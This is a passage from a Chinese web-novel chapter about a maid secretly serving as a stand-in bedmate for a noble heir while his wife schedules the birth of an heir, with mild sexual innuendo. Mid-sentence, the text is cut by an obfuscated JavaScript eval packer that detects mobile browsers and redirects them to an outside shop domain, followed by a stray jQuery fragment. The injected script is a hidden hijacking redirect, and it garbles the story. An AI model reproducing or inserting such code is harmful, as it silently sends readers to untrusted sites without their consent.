徐沼这厮也不好受,被她蹭来蹭去,定力已然在溃散的边缘。
还好这帐中昏暗,不至于被她看到他一脑门子的滚滚热汗。
“你老实一些,等有了眉目自然会告诉你。”
“真的?夫君不要忘了……是两件事喔……嘤嘤……”
提醒的话还没有说完,似乎又挨了一下。
“?”她轻哼对此感到不满,这混蛋男人怎么这么喜欢打人屁股?
在她看不见的黑暗之中,徐沼一脸无语。
她究竟是怎么敢的?
与人合伙诓骗他还不算,还敢得寸进尺!
深觉被挑衅了的徐沼颇为严肃的俊脸冷冷一板,啪!池萦的屁股冷不防又挨了一下。
手劲是不大,但是侮辱性极强。
池萦撇着唇低呼抗议,这混蛋是怎么好意思自诩是正人君子?
“过分!”
“你在嘀嘀咕咕什么?”
“我说你过分……”
他过分?他要是真像她说的这样,她还能安然无恙的躺他怀里?
“老实闭上眼睛安寝。”隐忍间,他捉住她作乱的双手,徐沼的低沉的声音染上粗噶,仔细听还有几分火药味。
只不过池萦满腹委屈,没注意过罢了。
她那玉颜好不容易退却的绯色,再次面若桃花。
假正经。
幸而徐沼不知,不然肯定是要吐血的。
衾被之下,池萦虽然不再扭来扭去,但她的玉手仍然不肯安分。
他捉她的手,她就挠他的掌心。
也不知她的小脑袋瓜里都在想什么,深知自己是个丫鬟,是个替身,还敢索求无度。
徐沼算是看出来了,这人根本不可能是个安分守己的,也对,若真是老实本分的,也不可能胆子如此大。
他心里甚至动过将她丢出的念头,就是生米已经煮成熟饭,说不定肚子还揣了他的崽……
忍吧,忍过这一夜就好了,任她勾缠,徐沼都不为所动,默念着清心经,严防死守不让自己在受她的蛊惑。
不同于她常年体寒,徐沼的手心热乎厚实,手掌内部布着好多扎人的茧子,就这样包着她的小手,竟让池萦生出了一丝丝贪念。
不管怎么说,他都是夺走自己清白的人,她应该恨他才对!
可是在徐沼一次次的满足之中,对他的依赖不知何时已经大过了恨。
她糊涂了不曾?徐沼满足她的要求,一言一行的宠溺,那是因为他不知真相,不知她是替身。
池萦赶紧打断这个不切实际的念头。
徐沼是武将,本朝武将不需要如文官一样每日上朝觐见。
边疆将领归京,只需要在皇帝传召时进宫,或三日一朝会的时候面圣。
早前徐沼面见太子时,提及过,太子也表示可以帮这个忙。
若没有意外,今日早朝陛下应该就会下决断。
徐沼一如往日,在妙安居洗漱用早膳,只是知道了真相,对周绮兰再也没有了期待。
看着她体贴,徐沼心里始终过不去那一道坎。
既嫁给他,又为何排斥与他做真夫妻?
“坐下一道用吧,我没有那么多规矩。”
态度比之前冷淡了许多,惹的周绮兰一直盯着他瞧。
是她多疑了吗?总觉得徐沼似乎变了,端看他面上还是一如往昔,可语气却是不一样了。
从榻进厅堂伊始,他就没唤过一声夫人。
“可是我脸上有什么?”徐沼静静的放下银箸,举目看过去,看着周绮兰心不在焉的样子,他薄唇微扯。
不是排斥与他做夫妻,现在又露出这幅样子给谁看呢?
“对了,你身边之前有个很像你的丫鬟呢?为何近来一直没见过?”
怎么说也是与他有过肌肤之亲的女人,不适合一直留在膳房,徐沼开门见山也不绕弯子,直接问道。
“很像吗?”周绮兰回神,幽幽的问道。
“嗯。”
“她前阵子犯了错,被嬷嬷打发去了膳房,世子怎会突然问起这个?”这才是周绮兰最关心的。
“去了膳房?”徐沼笑了,就是怎么看笑意都不达眼底。
“夫人可知这般打发,凭空会生出多少口舌,府中下人又该如何非议主母容不得人?
定安侯府一向都是宽容慈善之家,你好好想想吧。”
一连灵魂三拷,问的周绮兰心里拔凉拔凉的。
她是侯府主母,打发一个下人还得考虑其他人的感受?
这分明是徐沼存心袒护!
徐沼前脚离开,周绮兰后手便摔烂一套上好的汝窑瓷瓶。
“叫秋桐过来!”
自从秋桐在夫人面前得到的重用比她多,夏桃就看不惯了,如今眼看着秋桐大祸临头,怎叫她不痛快?
“是!奴婢马上就找秋桐过来!”夏桃应的很果断。
秋桐昨夜守了一夜,这才回到下人房,便被传召。
夏桃幸灾乐祸的嘴脸,秋桐就嗅到大事不好的气息,只不过她还不知道是因为什么事。
“夫人。”秋桐走到周绮兰跟前不远之处,小心翼翼地躬身行李。
周绮兰在史嬷嬷的劝说之下,理智已经恢复了七八分。
她锦衣华服点珠带翠,拿着一把剪子,安静的修剪着花枝。
如若不是对她的性情极为了解,当真以为她就是这样一个恬静安然,岁月静好的闺阁娇花。
只可惜并不是,秋桐心下疑惴丛生,仔细琢磨,夫人近来只会因为一件事大动干戈。
半晌,周绮兰修剪完花枝,满意的收手,方才抬了眼皮,示意秋桐近前一步回话。
“那安神汤你可有守着池萦全部喝下?”
“是奴婢亲自守着的,池萦喝的一滴不剩。”虽说秋桐有心不与池萦交恶,可她正经的主子始终只有一位,对于夫人交代的差事,她是万万不敢有半分的懈怠和含糊。
她没说谎,只是池萦离开她的视线便催了吐。
在周绮兰再三的审视中,秋桐没有半分心虚。
“秋桐,你一向忠诚,我相信你不会背主。”周绮兰有些疲惫的揉着额头,脑中还跳跃着徐沼今早异样,冷淡的态度,凉薄的眼神,叫她觉得陌生。
光是一想他会压着池萦做尽亲密之事,就气息不顺,心生烦闷。
“昨夜可有异样?”
“夫人是担心池萦那边?”秋桐很有眼色,即刻上前轻轻的替她按揉额头。
揣摩着夫人眼底的情绪,斟酌道:“婢子一直守到天光放亮,并无什么异动。”
“会不会是夫人多虑了?池萦只是一个毫无根基的丫鬟,在夫人面前她只有摇尾乞怜的份,夫人实在无需多虑。”
秋桐一直很会说话,这也是周绮兰喜欢提拔她的原因之一。
闻言周绮兰却是轻晃脑袋,满头珠翠叮当作响,迎着窗外洒进来的日光,折射着熠熠光辉,光影影影倬倬的照在她的脸上,映衬的她玉脸娇俏,分明也是个天香国色的美人,纵然她是笑着的,也让秋桐愣是不敢心生一丝大意。
秋桐同样费解,为何夫人非要给自己弄个这么大的麻烦。
满京上下世子不论是身份地位还是能力手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560908|202461||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
段,便是比起皇子也不遑多让啊。
“你说的极对。”
池萦是对她做不了什么,令她放心不下的是徐沼。
“昨夜要了几次水?”
秋桐摇头,“一次都不曾……”
“一次都没有?”周绮兰瞪大了眼,甚为惊讶。
“是。”
往常池萦侍寝,那动静起码要闹到后半夜才能停歇,昨夜却是早早就了无声息。
周绮兰的眼里露出笑意,难怪徐沼今早会如此冷淡,原来是欲求不满。
想着男人临走之前对她的敲打,心里好一阵郁闷。
徐沼为何突然对她的丫鬟关照起来?
她将池萦打发去膳房为的就是不让她在徐沼跟前路面,现在被徐沼这么一插手,全都乱了。
“去膳房那边叫池萦回来,往后不用再给她安排差事,就让她一直待在后厢房。
对了再去请上次那位女大夫,给池萦瞧瞧,要是有什么消息了马上来禀。”
“夫人的意思是不要池萦到处乱走?”秋桐似懂非懂。
周绮兰拉过她的手,放在掌心拍了拍,径自道:“秋桐,你是我最好看好的丫鬟,等池萦替我生下孩子,届时我会在世子那一并为你和池萦讨赏,开脸抬你们为姨娘。”
换做之前秋桐当即就要下跪,只不过这些时日她想明白了许多。
“夫人,奴婢不敢有非分之想!”
“傻丫头,这是夫人抬举你呢。”史嬷嬷不知道在外面听了有多久,笑着过来点秋桐的脑袋。
她的手上端着药,秋桐心里又是一惊。
走在前往膳房的小径上,脑子都还是乱糟糟的。
她是夫人身边的大丫鬟,只要是在侯府,走到哪儿都是别人奉承巴结的对象。
听闻她是过来寻找池萦的,马上就有人扯着嗓子喊池萦。
“别喊了,池萦一早就觉得不舒服,告了假回去了。”
她竟然回去了?
秋桐蹙着眉,“她有没有说自己哪里不舒服?”
“有说有说,她说自己的头的很痛,且身子乏力,还恶心想吐!”
恶心想吐?
秋桐的眸子黯了黯,该不会真的有了吧?
其实秋桐心里一直都个疑问,为何夫人要让池萦生下世子的孩子?
昨日喝药时,池萦就察觉出不对劲,她熟悉一部分药性,能闻的出来药中加大了安眠的成分。
周绮兰一向疑心重,池萦不得不多加防备,思前想后觉得还是有必要装病。
她本来想着去景晖院碰一碰运气,不过早起躲在假山后看到徐沼换了朝服,这个时辰他应该还在皇宫。
府中盯着她的眼线本来就多,没机会偶遇徐沼,池萦就不太想以身犯险。
——你知不知我也会心痛?
他说他也会心里不痛快……
池萦又想到了昨夜徐沼的反常,那会儿光顾着应付他,磨着他答应帮她做事,好像遗漏了好些细节。
现在从头梳理一遍,池萦心里忍不住有一丝丝狂喜,徐沼他开是不是已经始怀疑了?
昨夜男人的话句句都好像试探!
池萦一拍脑袋,懊恼的不行,那会儿她怎么就没听出弦外之音呢!
“池萦在不在?”
被门外的声音的一惊,池萦手忙脚乱的将糙纸折好塞到床下的地砖之下。
这纸上面都是她梳理的细节,是万万不能被任何人看到的。
池萦拉开门,秋桐险些栽倒进来。
“呀?怎么是秋桐姐姐?你找我可是夫人那边又有了差事?”